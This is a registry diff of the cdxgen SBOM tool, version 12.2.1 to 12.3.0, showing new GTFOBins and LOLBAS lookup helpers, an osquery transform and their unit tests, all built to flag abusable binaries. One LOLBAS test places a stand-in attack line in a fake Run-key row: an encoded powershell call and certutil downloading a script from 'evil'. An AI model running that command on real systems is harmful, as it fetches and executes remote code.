@cyclonedx/cdxgen 12.2.1 → 12.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +239 -90
- package/bin/audit.js +191 -0
- package/bin/cdxgen.js +513 -167
- package/bin/convert.js +99 -0
- package/bin/evinse.js +23 -0
- package/bin/repl.js +339 -8
- package/bin/sign.js +8 -0
- package/bin/validate.js +8 -0
- package/bin/verify.js +8 -0
- package/data/container-knowledge-index.json +125 -0
- package/data/gtfobins-index.json +6296 -0
- package/data/lolbas-index.json +150 -0
- package/data/queries-darwin.json +63 -3
- package/data/queries-win.json +45 -3
- package/data/queries.json +74 -2
- package/data/rules/chrome-extensions.yaml +240 -0
- package/data/rules/ci-permissions.yaml +478 -18
- package/data/rules/container-risk.yaml +270 -0
- package/data/rules/obom-runtime.yaml +891 -0
- package/data/rules/package-integrity.yaml +49 -0
- package/data/spdx-export.schema.json +6794 -0
- package/data/spdx-model-v3.0.1.jsonld +15999 -0
- package/lib/audit/index.js +1924 -0
- package/lib/audit/index.poku.js +1488 -0
- package/lib/audit/progress.js +137 -0
- package/lib/audit/progress.poku.js +188 -0
- package/lib/audit/reporters.js +618 -0
- package/lib/audit/scoring.js +310 -0
- package/lib/audit/scoring.poku.js +341 -0
- package/lib/audit/targets.js +260 -0
- package/lib/audit/targets.poku.js +331 -0
- package/lib/cli/index.js +154 -11
- package/lib/cli/index.poku.js +251 -0
- package/lib/helpers/analyzer.js +446 -2
- package/lib/helpers/analyzer.poku.js +72 -1
- package/lib/helpers/annotationFormatter.js +49 -0
- package/lib/helpers/annotationFormatter.poku.js +44 -0
- package/lib/helpers/bomUtils.js +36 -0
- package/lib/helpers/bomUtils.poku.js +51 -0
- package/lib/helpers/caxa.js +2 -2
- package/lib/helpers/chromextutils.js +1153 -0
- package/lib/helpers/chromextutils.poku.js +493 -0
- package/lib/helpers/ciParsers/githubActions.js +1632 -45
- package/lib/helpers/ciParsers/githubActions.poku.js +853 -1
- package/lib/helpers/containerRisk.js +186 -0
- package/lib/helpers/containerRisk.poku.js +52 -0
- package/lib/helpers/display.js +241 -59
- package/lib/helpers/display.poku.js +162 -2
- package/lib/helpers/exportUtils.js +123 -0
- package/lib/helpers/exportUtils.poku.js +60 -0
- package/lib/helpers/formulationParsers.js +69 -0
- package/lib/helpers/formulationParsers.poku.js +44 -0
- package/lib/helpers/gtfobins.js +189 -0
- package/lib/helpers/gtfobins.poku.js +49 -0
- package/lib/helpers/lolbas.js +267 -0
- package/lib/helpers/lolbas.poku.js +39 -0
- package/lib/helpers/osqueryTransform.js +84 -0
- package/lib/helpers/osqueryTransform.poku.js +49 -0
- package/lib/helpers/provenanceUtils.js +193 -0
- package/lib/helpers/provenanceUtils.poku.js +145 -0
- package/lib/helpers/pylockutils.js +281 -0
- package/lib/helpers/pylockutils.poku.js +48 -0
- package/lib/helpers/registryProvenance.js +793 -0
- package/lib/helpers/registryProvenance.poku.js +452 -0
- package/lib/helpers/source.js +1267 -0
- package/lib/helpers/source.poku.js +771 -0
- package/lib/helpers/spdxUtils.js +97 -0
- package/lib/helpers/spdxUtils.poku.js +70 -0
- package/lib/helpers/unicodeScan.js +147 -0
- package/lib/helpers/unicodeScan.poku.js +45 -0
- package/lib/helpers/utils.js +700 -128
- package/lib/helpers/utils.poku.js +877 -80
- package/lib/managers/binary.js +29 -5
- package/lib/managers/docker.js +179 -52
- package/lib/managers/docker.poku.js +327 -28
- package/lib/managers/oci.js +107 -23
- package/lib/managers/oci.poku.js +132 -0
- package/lib/server/openapi.yaml +17 -0
- package/lib/server/server.js +225 -336
- package/lib/server/server.poku.js +16 -10
- package/lib/stages/postgen/annotator.js +7 -0
- package/lib/stages/postgen/annotator.poku.js +40 -0
- package/lib/stages/postgen/auditBom.js +19 -3
- package/lib/stages/postgen/auditBom.poku.js +1729 -67
- package/lib/stages/postgen/postgen.js +40 -0
- package/lib/stages/postgen/postgen.poku.js +47 -0
- package/lib/stages/postgen/ruleEngine.js +80 -2
- package/lib/stages/postgen/spdxConverter.js +796 -0
- package/lib/stages/postgen/spdxConverter.poku.js +341 -0
- package/lib/validator/bomValidator.js +232 -0
- package/lib/validator/bomValidator.poku.js +70 -0
- package/lib/validator/complianceRules.js +70 -7
- package/lib/validator/complianceRules.poku.js +30 -0
- package/lib/validator/reporters/annotations.js +2 -2
- package/lib/validator/reporters/console.js +11 -0
- package/lib/validator/reporters.poku.js +13 -0
- package/package.json +10 -7
- package/types/bin/audit.d.ts +3 -0
- package/types/bin/audit.d.ts.map +1 -0
- package/types/bin/convert.d.ts +3 -0
- package/types/bin/convert.d.ts.map +1 -0
- package/types/bin/repl.d.ts.map +1 -1
- package/types/lib/audit/index.d.ts +115 -0
- package/types/lib/audit/index.d.ts.map +1 -0
- package/types/lib/audit/progress.d.ts +27 -0
- package/types/lib/audit/progress.d.ts.map +1 -0
- package/types/lib/audit/reporters.d.ts +35 -0
- package/types/lib/audit/reporters.d.ts.map +1 -0
- package/types/lib/audit/scoring.d.ts +35 -0
- package/types/lib/audit/scoring.d.ts.map +1 -0
- package/types/lib/audit/targets.d.ts +63 -0
- package/types/lib/audit/targets.d.ts.map +1 -0
- package/types/lib/cli/index.d.ts +8 -0
- package/types/lib/cli/index.d.ts.map +1 -1
- package/types/lib/helpers/analyzer.d.ts +13 -0
- package/types/lib/helpers/analyzer.d.ts.map +1 -1
- package/types/lib/helpers/annotationFormatter.d.ts +23 -0
- package/types/lib/helpers/annotationFormatter.d.ts.map +1 -0
- package/types/lib/helpers/bomUtils.d.ts +5 -0
- package/types/lib/helpers/bomUtils.d.ts.map +1 -0
- package/types/lib/helpers/chromextutils.d.ts +97 -0
- package/types/lib/helpers/chromextutils.d.ts.map +1 -0
- package/types/lib/helpers/ciParsers/githubActions.d.ts +3 -8
- package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
- package/types/lib/helpers/containerRisk.d.ts +17 -0
- package/types/lib/helpers/containerRisk.d.ts.map +1 -0
- package/types/lib/helpers/display.d.ts +4 -1
- package/types/lib/helpers/display.d.ts.map +1 -1
- package/types/lib/helpers/exportUtils.d.ts +40 -0
- package/types/lib/helpers/exportUtils.d.ts.map +1 -0
- package/types/lib/helpers/formulationParsers.d.ts.map +1 -1
- package/types/lib/helpers/gtfobins.d.ts +17 -0
- package/types/lib/helpers/gtfobins.d.ts.map +1 -0
- package/types/lib/helpers/lolbas.d.ts +16 -0
- package/types/lib/helpers/lolbas.d.ts.map +1 -0
- package/types/lib/helpers/osqueryTransform.d.ts +7 -0
- package/types/lib/helpers/osqueryTransform.d.ts.map +1 -0
- package/types/lib/helpers/provenanceUtils.d.ts +90 -0
- package/types/lib/helpers/provenanceUtils.d.ts.map +1 -0
- package/types/lib/helpers/pylockutils.d.ts +51 -0
- package/types/lib/helpers/pylockutils.d.ts.map +1 -0
- package/types/lib/helpers/registryProvenance.d.ts +17 -0
- package/types/lib/helpers/registryProvenance.d.ts.map +1 -0
- package/types/lib/helpers/source.d.ts +141 -0
- package/types/lib/helpers/source.d.ts.map +1 -0
- package/types/lib/helpers/spdxUtils.d.ts +2 -0
- package/types/lib/helpers/spdxUtils.d.ts.map +1 -0
- package/types/lib/helpers/unicodeScan.d.ts +46 -0
- package/types/lib/helpers/unicodeScan.d.ts.map +1 -0
- package/types/lib/helpers/utils.d.ts +29 -11
- package/types/lib/helpers/utils.d.ts.map +1 -1
- package/types/lib/managers/binary.d.ts.map +1 -1
- package/types/lib/managers/docker.d.ts.map +1 -1
- package/types/lib/managers/oci.d.ts.map +1 -1
- package/types/lib/server/server.d.ts +0 -36
- package/types/lib/server/server.d.ts.map +1 -1
- package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
- package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
- package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
- package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
- package/types/lib/stages/postgen/spdxConverter.d.ts +11 -0
- package/types/lib/stages/postgen/spdxConverter.d.ts.map +1 -0
- package/types/lib/validator/bomValidator.d.ts +1 -0
- package/types/lib/validator/bomValidator.d.ts.map +1 -1
- package/types/lib/validator/complianceRules.d.ts.map +1 -1
- package/types/lib/validator/reporters/console.d.ts.map +1 -1
- package/types/bin/dependencies.d.ts +0 -3
- package/types/bin/dependencies.d.ts.map +0 -1
- package/types/bin/licenses.d.ts +0 -3
- package/types/bin/licenses.d.ts.map +0 -1
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
import { strict as assert } from "node:assert";
|
|
2
|
+
|
|
3
|
+
import { describe, it } from "poku";
|
|
4
|
+
|
|
5
|
+
import { createGtfoBinsProperties, getGtfoBinsMetadata } from "./gtfobins.js";
|
|
6
|
+
|
|
7
|
+
describe("gtfobins helpers", () => {
|
|
8
|
+
it("returns metadata for exact GTFOBins matches", () => {
|
|
9
|
+
const metadata = getGtfoBinsMetadata("bash");
|
|
10
|
+
assert.ok(metadata);
|
|
11
|
+
assert.strictEqual(metadata.canonicalName, "bash");
|
|
12
|
+
assert.ok(metadata.functions.includes("shell"));
|
|
13
|
+
assert.ok(metadata.contexts.includes("suid"));
|
|
14
|
+
assert.ok(metadata.riskTags.includes("privilege-escalation"));
|
|
15
|
+
assert.ok(metadata.riskTags.includes("lateral-movement"));
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
it("resolves versioned aliases conservatively", () => {
|
|
19
|
+
const metadata = getGtfoBinsMetadata("python3.12");
|
|
20
|
+
assert.ok(metadata);
|
|
21
|
+
assert.strictEqual(metadata.canonicalName, "python");
|
|
22
|
+
assert.strictEqual(metadata.matchSource, "alias");
|
|
23
|
+
assert.ok(metadata.functions.includes("shell"));
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
it("resolves symlink targets when the basename is not indexed", () => {
|
|
27
|
+
const metadata = getGtfoBinsMetadata("sh", "busybox");
|
|
28
|
+
assert.ok(metadata);
|
|
29
|
+
assert.strictEqual(metadata.canonicalName, "busybox");
|
|
30
|
+
assert.strictEqual(metadata.matchSource, "symlink");
|
|
31
|
+
assert.ok(metadata.riskTags.includes("lateral-movement"));
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
it("emits stable CycloneDX properties for matched binaries", () => {
|
|
35
|
+
const properties = createGtfoBinsProperties("docker");
|
|
36
|
+
const propertyMap = Object.fromEntries(
|
|
37
|
+
properties.map((property) => [property.name, property.value]),
|
|
38
|
+
);
|
|
39
|
+
assert.strictEqual(propertyMap["cdx:gtfobins:matched"], "true");
|
|
40
|
+
assert.strictEqual(propertyMap["cdx:gtfobins:name"], "docker");
|
|
41
|
+
assert.ok(propertyMap["cdx:gtfobins:functions"].includes("shell"));
|
|
42
|
+
assert.ok(
|
|
43
|
+
propertyMap["cdx:gtfobins:riskTags"].includes("container-escape"),
|
|
44
|
+
);
|
|
45
|
+
assert.ok(
|
|
46
|
+
propertyMap["cdx:gtfobins:reference"].endsWith("/gtfobins/docker/"),
|
|
47
|
+
);
|
|
48
|
+
});
|
|
49
|
+
});
|
|
@@ -0,0 +1,267 @@
|
|
|
1
|
+
import { readFileSync } from "node:fs";
|
|
2
|
+
import path, { basename } from "node:path";
|
|
3
|
+
import { fileURLToPath } from "node:url";
|
|
4
|
+
|
|
5
|
+
const LOLBAS_INDEX_FILE = fileURLToPath(
|
|
6
|
+
new URL("../../data/lolbas-index.json", import.meta.url),
|
|
7
|
+
);
|
|
8
|
+
const LOLBAS_REFERENCE_PREFIX =
|
|
9
|
+
"https://lolbas-project.github.io/lolbas/Binaries/";
|
|
10
|
+
const DIRECT_ALIASES = new Map([
|
|
11
|
+
["bitsadmin", "bitsadmin.exe"],
|
|
12
|
+
["certutil", "certutil.exe"],
|
|
13
|
+
["cmd", "cmd.exe"],
|
|
14
|
+
["cmdkey", "cmdkey.exe"],
|
|
15
|
+
["cmstp", "cmstp.exe"],
|
|
16
|
+
["cscript", "cscript.exe"],
|
|
17
|
+
["ftp", "ftp.exe"],
|
|
18
|
+
["installutil", "installutil.exe"],
|
|
19
|
+
["msbuild", "msbuild.exe"],
|
|
20
|
+
["mshta", "mshta.exe"],
|
|
21
|
+
["msiexec", "msiexec.exe"],
|
|
22
|
+
["odbcconf", "odbcconf.exe"],
|
|
23
|
+
["powershell", "powershell.exe"],
|
|
24
|
+
["pwsh", "pwsh.exe"],
|
|
25
|
+
["regsvr32", "regsvr32.exe"],
|
|
26
|
+
["rundll32", "rundll32.exe"],
|
|
27
|
+
["wmic", "wmic.exe"],
|
|
28
|
+
["wscript", "wscript.exe"],
|
|
29
|
+
]);
|
|
30
|
+
const MATCH_FIELDS = [
|
|
31
|
+
"action",
|
|
32
|
+
"arguments",
|
|
33
|
+
"cmdline",
|
|
34
|
+
"command",
|
|
35
|
+
"command_line",
|
|
36
|
+
"command_line_template",
|
|
37
|
+
"description",
|
|
38
|
+
"display_name",
|
|
39
|
+
"executable",
|
|
40
|
+
"name",
|
|
41
|
+
"path",
|
|
42
|
+
"program",
|
|
43
|
+
"source",
|
|
44
|
+
];
|
|
45
|
+
const STANDALONE_COMMAND_PATTERN =
|
|
46
|
+
/\b(bitsadmin|certutil|cmd|cmdkey|cmstp|cscript|ftp|installutil|msbuild|mshta|msiexec|odbcconf|powershell|pwsh|regsvr32|rundll32|wmic|wscript)\b/gi;
|
|
47
|
+
const WINDOWS_EXECUTABLE_PATTERN =
|
|
48
|
+
/(?:[a-z]:\\[^\s"'`,;|]+|\\\\[^\s"'`,;|]+|[a-z0-9._-]+)\.(?:exe|cmd|bat|dll|hta|js|jse|ps1|vbs|vbe|wsf|wsh)\b/gi;
|
|
49
|
+
|
|
50
|
+
const LOLBAS_INDEX = loadLolbasIndex();
|
|
51
|
+
|
|
52
|
+
function loadLolbasIndex() {
|
|
53
|
+
try {
|
|
54
|
+
return JSON.parse(readFileSync(LOLBAS_INDEX_FILE, "utf8"));
|
|
55
|
+
} catch {
|
|
56
|
+
return { entries: {}, source: "", sourceRef: "" };
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
function normalizeCandidate(candidate) {
|
|
61
|
+
if (!candidate || typeof candidate !== "string") {
|
|
62
|
+
return undefined;
|
|
63
|
+
}
|
|
64
|
+
const trimmed = candidate
|
|
65
|
+
.trim()
|
|
66
|
+
.replace(/^["']|["']$/g, "")
|
|
67
|
+
.replace(/\\/g, "/");
|
|
68
|
+
if (!trimmed) {
|
|
69
|
+
return undefined;
|
|
70
|
+
}
|
|
71
|
+
return basename(trimmed).toLowerCase();
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
function uniqueSortedStrings(values) {
|
|
75
|
+
return Array.from(
|
|
76
|
+
new Set(
|
|
77
|
+
values.filter(
|
|
78
|
+
(value) => typeof value === "string" && value.trim().length,
|
|
79
|
+
),
|
|
80
|
+
),
|
|
81
|
+
).sort();
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
function resolveLolbasCandidate(candidate) {
|
|
85
|
+
const normalized = normalizeCandidate(candidate);
|
|
86
|
+
if (!normalized) {
|
|
87
|
+
return undefined;
|
|
88
|
+
}
|
|
89
|
+
if (LOLBAS_INDEX.entries?.[normalized]) {
|
|
90
|
+
return normalized;
|
|
91
|
+
}
|
|
92
|
+
const alias = DIRECT_ALIASES.get(normalized);
|
|
93
|
+
if (alias && LOLBAS_INDEX.entries?.[alias]) {
|
|
94
|
+
return alias;
|
|
95
|
+
}
|
|
96
|
+
return undefined;
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
function deriveRiskTags(entry) {
|
|
100
|
+
const riskTags = new Set(entry?.riskTags || []);
|
|
101
|
+
const functions = new Set(entry?.functions || []);
|
|
102
|
+
const contexts = new Set(entry?.contexts || []);
|
|
103
|
+
if (
|
|
104
|
+
functions.has("proxy-execution") ||
|
|
105
|
+
functions.has("library-load") ||
|
|
106
|
+
functions.has("script-execution")
|
|
107
|
+
) {
|
|
108
|
+
riskTags.add("proxy-execution");
|
|
109
|
+
}
|
|
110
|
+
if (
|
|
111
|
+
functions.has("download") ||
|
|
112
|
+
functions.has("upload") ||
|
|
113
|
+
functions.has("credential-access")
|
|
114
|
+
) {
|
|
115
|
+
riskTags.add("high-signal");
|
|
116
|
+
}
|
|
117
|
+
if (contexts.has("uac-bypass")) {
|
|
118
|
+
riskTags.add("uac-bypass");
|
|
119
|
+
}
|
|
120
|
+
if (functions.has("download") || functions.has("upload")) {
|
|
121
|
+
riskTags.add("network-transfer");
|
|
122
|
+
}
|
|
123
|
+
return Array.from(riskTags).sort();
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
function collectValueCandidates(value) {
|
|
127
|
+
if (!value || typeof value !== "string") {
|
|
128
|
+
return [];
|
|
129
|
+
}
|
|
130
|
+
const candidates = new Set();
|
|
131
|
+
for (const match of value.matchAll(WINDOWS_EXECUTABLE_PATTERN)) {
|
|
132
|
+
candidates.add(match[0]);
|
|
133
|
+
}
|
|
134
|
+
for (const match of value.matchAll(STANDALONE_COMMAND_PATTERN)) {
|
|
135
|
+
candidates.add(match[1]);
|
|
136
|
+
}
|
|
137
|
+
return Array.from(candidates);
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
/**
|
|
141
|
+
* Resolve LOLBAS metadata for a binary or script name.
|
|
142
|
+
*
|
|
143
|
+
* @param {string} candidate Binary or script path/name
|
|
144
|
+
* @returns {object|undefined} Matched LOLBAS metadata
|
|
145
|
+
*/
|
|
146
|
+
export function getLolbasMetadata(candidate) {
|
|
147
|
+
const canonicalName = resolveLolbasCandidate(candidate);
|
|
148
|
+
if (!canonicalName) {
|
|
149
|
+
return undefined;
|
|
150
|
+
}
|
|
151
|
+
const entry = LOLBAS_INDEX.entries[canonicalName];
|
|
152
|
+
return {
|
|
153
|
+
attackTactics: uniqueSortedStrings(entry.attackTactics || []),
|
|
154
|
+
attackTechniques: uniqueSortedStrings(entry.attackTechniques || []),
|
|
155
|
+
canonicalName,
|
|
156
|
+
contexts: uniqueSortedStrings(entry.contexts || []),
|
|
157
|
+
functions: uniqueSortedStrings(entry.functions || []),
|
|
158
|
+
reference:
|
|
159
|
+
entry.reference ||
|
|
160
|
+
`${LOLBAS_REFERENCE_PREFIX}${encodeURIComponent(path.parse(canonicalName).name)}/`,
|
|
161
|
+
riskTags: deriveRiskTags(entry),
|
|
162
|
+
source: LOLBAS_INDEX.source,
|
|
163
|
+
sourceRef: LOLBAS_INDEX.sourceRef,
|
|
164
|
+
};
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
/**
|
|
168
|
+
* Resolve LOLBAS properties for an osquery row.
|
|
169
|
+
*
|
|
170
|
+
* @param {string} queryCategory Osquery query category
|
|
171
|
+
* @param {object} row Osquery row
|
|
172
|
+
* @returns {Array<object>} CycloneDX custom properties
|
|
173
|
+
*/
|
|
174
|
+
export function createLolbasProperties(queryCategory, row) {
|
|
175
|
+
const matches = new Map();
|
|
176
|
+
for (const field of MATCH_FIELDS) {
|
|
177
|
+
const fieldValue = row?.[field];
|
|
178
|
+
if (!fieldValue) {
|
|
179
|
+
continue;
|
|
180
|
+
}
|
|
181
|
+
for (const candidate of collectValueCandidates(String(fieldValue))) {
|
|
182
|
+
const metadata = getLolbasMetadata(candidate);
|
|
183
|
+
if (!metadata) {
|
|
184
|
+
continue;
|
|
185
|
+
}
|
|
186
|
+
const existing = matches.get(metadata.canonicalName) || {
|
|
187
|
+
fields: new Set(),
|
|
188
|
+
metadata,
|
|
189
|
+
};
|
|
190
|
+
existing.fields.add(field);
|
|
191
|
+
matches.set(metadata.canonicalName, existing);
|
|
192
|
+
}
|
|
193
|
+
}
|
|
194
|
+
if (!matches.size) {
|
|
195
|
+
return [];
|
|
196
|
+
}
|
|
197
|
+
const attackTactics = uniqueSortedStrings(
|
|
198
|
+
Array.from(matches.values()).flatMap(
|
|
199
|
+
(match) => match.metadata.attackTactics,
|
|
200
|
+
),
|
|
201
|
+
);
|
|
202
|
+
const attackTechniques = uniqueSortedStrings(
|
|
203
|
+
Array.from(matches.values()).flatMap(
|
|
204
|
+
(match) => match.metadata.attackTechniques,
|
|
205
|
+
),
|
|
206
|
+
);
|
|
207
|
+
const contexts = uniqueSortedStrings(
|
|
208
|
+
Array.from(matches.values()).flatMap((match) => match.metadata.contexts),
|
|
209
|
+
);
|
|
210
|
+
const functions = uniqueSortedStrings(
|
|
211
|
+
Array.from(matches.values()).flatMap((match) => match.metadata.functions),
|
|
212
|
+
);
|
|
213
|
+
const references = uniqueSortedStrings(
|
|
214
|
+
Array.from(matches.values()).map((match) => match.metadata.reference),
|
|
215
|
+
);
|
|
216
|
+
const riskTags = uniqueSortedStrings(
|
|
217
|
+
Array.from(matches.values()).flatMap((match) => match.metadata.riskTags),
|
|
218
|
+
);
|
|
219
|
+
const matchFields = uniqueSortedStrings(
|
|
220
|
+
Array.from(matches.values()).flatMap((match) => Array.from(match.fields)),
|
|
221
|
+
);
|
|
222
|
+
const names = uniqueSortedStrings(Array.from(matches.keys()));
|
|
223
|
+
const properties = [
|
|
224
|
+
{ name: "cdx:lolbas:matched", value: "true" },
|
|
225
|
+
{ name: "cdx:lolbas:names", value: names.join(",") },
|
|
226
|
+
{ name: "cdx:lolbas:matchFields", value: matchFields.join(",") },
|
|
227
|
+
{ name: "cdx:lolbas:queryCategory", value: queryCategory },
|
|
228
|
+
{ name: "cdx:lolbas:sourceRef", value: LOLBAS_INDEX.sourceRef || "" },
|
|
229
|
+
];
|
|
230
|
+
if (functions.length) {
|
|
231
|
+
properties.push({
|
|
232
|
+
name: "cdx:lolbas:functions",
|
|
233
|
+
value: functions.join(","),
|
|
234
|
+
});
|
|
235
|
+
}
|
|
236
|
+
if (contexts.length) {
|
|
237
|
+
properties.push({
|
|
238
|
+
name: "cdx:lolbas:contexts",
|
|
239
|
+
value: contexts.join(","),
|
|
240
|
+
});
|
|
241
|
+
}
|
|
242
|
+
if (riskTags.length) {
|
|
243
|
+
properties.push({
|
|
244
|
+
name: "cdx:lolbas:riskTags",
|
|
245
|
+
value: riskTags.join(","),
|
|
246
|
+
});
|
|
247
|
+
}
|
|
248
|
+
if (attackTactics.length) {
|
|
249
|
+
properties.push({
|
|
250
|
+
name: "cdx:lolbas:attackTactics",
|
|
251
|
+
value: attackTactics.join(","),
|
|
252
|
+
});
|
|
253
|
+
}
|
|
254
|
+
if (attackTechniques.length) {
|
|
255
|
+
properties.push({
|
|
256
|
+
name: "cdx:lolbas:attackTechniques",
|
|
257
|
+
value: attackTechniques.join(","),
|
|
258
|
+
});
|
|
259
|
+
}
|
|
260
|
+
if (references.length) {
|
|
261
|
+
properties.push({
|
|
262
|
+
name: "cdx:lolbas:references",
|
|
263
|
+
value: references.join(","),
|
|
264
|
+
});
|
|
265
|
+
}
|
|
266
|
+
return properties;
|
|
267
|
+
}
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
import { strict as assert } from "node:assert";
|
|
2
|
+
|
|
3
|
+
import { describe, it } from "poku";
|
|
4
|
+
|
|
5
|
+
import { createLolbasProperties, getLolbasMetadata } from "./lolbas.js";
|
|
6
|
+
|
|
7
|
+
describe("lolbas helpers", () => {
|
|
8
|
+
it("resolves extensionless aliases to canonical LOLBAS executables", () => {
|
|
9
|
+
const metadata = getLolbasMetadata("powershell");
|
|
10
|
+
assert.ok(metadata);
|
|
11
|
+
assert.strictEqual(metadata.canonicalName, "powershell.exe");
|
|
12
|
+
assert.ok(metadata.functions.includes("script-execution"));
|
|
13
|
+
assert.ok(metadata.attackTechniques.includes("T1059.001"));
|
|
14
|
+
});
|
|
15
|
+
|
|
16
|
+
it("resolves fully qualified Windows paths", () => {
|
|
17
|
+
const metadata = getLolbasMetadata("C:\\Windows\\System32\\regsvr32.exe");
|
|
18
|
+
assert.ok(metadata);
|
|
19
|
+
assert.strictEqual(metadata.canonicalName, "regsvr32.exe");
|
|
20
|
+
assert.ok(metadata.riskTags.includes("proxy-execution"));
|
|
21
|
+
});
|
|
22
|
+
|
|
23
|
+
it("creates aggregated properties for osquery rows with LOLBAS matches", () => {
|
|
24
|
+
const properties = createLolbasProperties("windows_run_keys", {
|
|
25
|
+
description:
|
|
26
|
+
"powershell -enc AAAA; certutil.exe -urlcache -f https://evil/p.ps1 p.ps1",
|
|
27
|
+
key: "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
|
|
28
|
+
});
|
|
29
|
+
const propertyMap = Object.fromEntries(
|
|
30
|
+
properties.map((property) => [property.name, property.value]),
|
|
31
|
+
);
|
|
32
|
+
assert.strictEqual(propertyMap["cdx:lolbas:matched"], "true");
|
|
33
|
+
assert.ok(propertyMap["cdx:lolbas:names"].includes("powershell.exe"));
|
|
34
|
+
assert.ok(propertyMap["cdx:lolbas:names"].includes("certutil.exe"));
|
|
35
|
+
assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
|
|
36
|
+
assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
|
|
37
|
+
assert.ok(propertyMap["cdx:lolbas:matchFields"].includes("description"));
|
|
38
|
+
});
|
|
39
|
+
});
|
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
import { PackageURL } from "packageurl-js";
|
|
2
|
+
|
|
3
|
+
export function deriveOsQueryVersion(res) {
|
|
4
|
+
return (
|
|
5
|
+
res.version ||
|
|
6
|
+
res.hotfix_id ||
|
|
7
|
+
res.hardware_version ||
|
|
8
|
+
res.port ||
|
|
9
|
+
res.pid ||
|
|
10
|
+
res.subject_key_id ||
|
|
11
|
+
res.interface ||
|
|
12
|
+
res.instance_id
|
|
13
|
+
);
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
export function deriveOsQueryName(res, singleResult, queryName) {
|
|
17
|
+
let name =
|
|
18
|
+
res.name ||
|
|
19
|
+
res.device_id ||
|
|
20
|
+
res.hotfix_id ||
|
|
21
|
+
res.uuid ||
|
|
22
|
+
res.serial ||
|
|
23
|
+
res.pid ||
|
|
24
|
+
res.address ||
|
|
25
|
+
res.ami_id ||
|
|
26
|
+
res.interface ||
|
|
27
|
+
res.client_app_id;
|
|
28
|
+
if (!name && singleResult && queryName) {
|
|
29
|
+
name = queryName;
|
|
30
|
+
}
|
|
31
|
+
return name;
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
export function deriveOsQueryPublisher(res) {
|
|
35
|
+
const publisher =
|
|
36
|
+
res.publisher ||
|
|
37
|
+
res.maintainer ||
|
|
38
|
+
res.creator ||
|
|
39
|
+
res.manufacturer ||
|
|
40
|
+
res.provider ||
|
|
41
|
+
"";
|
|
42
|
+
return publisher === "null" ? "" : publisher;
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
export function deriveOsQueryDescription(res) {
|
|
46
|
+
return (
|
|
47
|
+
res.description ||
|
|
48
|
+
res.summary ||
|
|
49
|
+
res.arguments ||
|
|
50
|
+
res.device ||
|
|
51
|
+
res.codename ||
|
|
52
|
+
res.section ||
|
|
53
|
+
res.status ||
|
|
54
|
+
res.identifier ||
|
|
55
|
+
res.components ||
|
|
56
|
+
""
|
|
57
|
+
);
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
export function sanitizeOsQueryIdentity(value) {
|
|
61
|
+
return String(value || "")
|
|
62
|
+
.replace(/ /g, "+")
|
|
63
|
+
.replace(/[:%]/g, "-")
|
|
64
|
+
.replace(/^[@{]/g, "")
|
|
65
|
+
.replace(/[}]$/g, "");
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
export function createOsQueryPurl(
|
|
69
|
+
purlType,
|
|
70
|
+
group,
|
|
71
|
+
name,
|
|
72
|
+
version,
|
|
73
|
+
qualifiers,
|
|
74
|
+
subpath,
|
|
75
|
+
) {
|
|
76
|
+
return new PackageURL(
|
|
77
|
+
purlType || "swid",
|
|
78
|
+
group,
|
|
79
|
+
name,
|
|
80
|
+
version || "",
|
|
81
|
+
qualifiers,
|
|
82
|
+
subpath,
|
|
83
|
+
).toString();
|
|
84
|
+
}
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
import { assert, describe, it } from "poku";
|
|
2
|
+
|
|
3
|
+
import {
|
|
4
|
+
createOsQueryPurl,
|
|
5
|
+
deriveOsQueryDescription,
|
|
6
|
+
deriveOsQueryName,
|
|
7
|
+
deriveOsQueryPublisher,
|
|
8
|
+
deriveOsQueryVersion,
|
|
9
|
+
sanitizeOsQueryIdentity,
|
|
10
|
+
} from "./osqueryTransform.js";
|
|
11
|
+
|
|
12
|
+
describe("osqueryTransform helpers", () => {
|
|
13
|
+
it("derives version, name, publisher, and description from osquery rows", () => {
|
|
14
|
+
const row = {
|
|
15
|
+
pid: "1024",
|
|
16
|
+
provider: "null",
|
|
17
|
+
summary: "sample description",
|
|
18
|
+
};
|
|
19
|
+
assert.strictEqual(deriveOsQueryVersion(row), "1024");
|
|
20
|
+
assert.strictEqual(deriveOsQueryName(row, false), "1024");
|
|
21
|
+
assert.strictEqual(deriveOsQueryPublisher(row), "");
|
|
22
|
+
assert.strictEqual(deriveOsQueryDescription(row), "sample description");
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
it("falls back to query name for single-row synthetic entries", () => {
|
|
26
|
+
const row = {};
|
|
27
|
+
assert.strictEqual(deriveOsQueryName(row, true, "os-image"), "os-image");
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
it("sanitizes osquery identity strings used in purl fields", () => {
|
|
31
|
+
assert.strictEqual(
|
|
32
|
+
sanitizeOsQueryIdentity("{My App:%Name}"),
|
|
33
|
+
"My+App--Name",
|
|
34
|
+
);
|
|
35
|
+
});
|
|
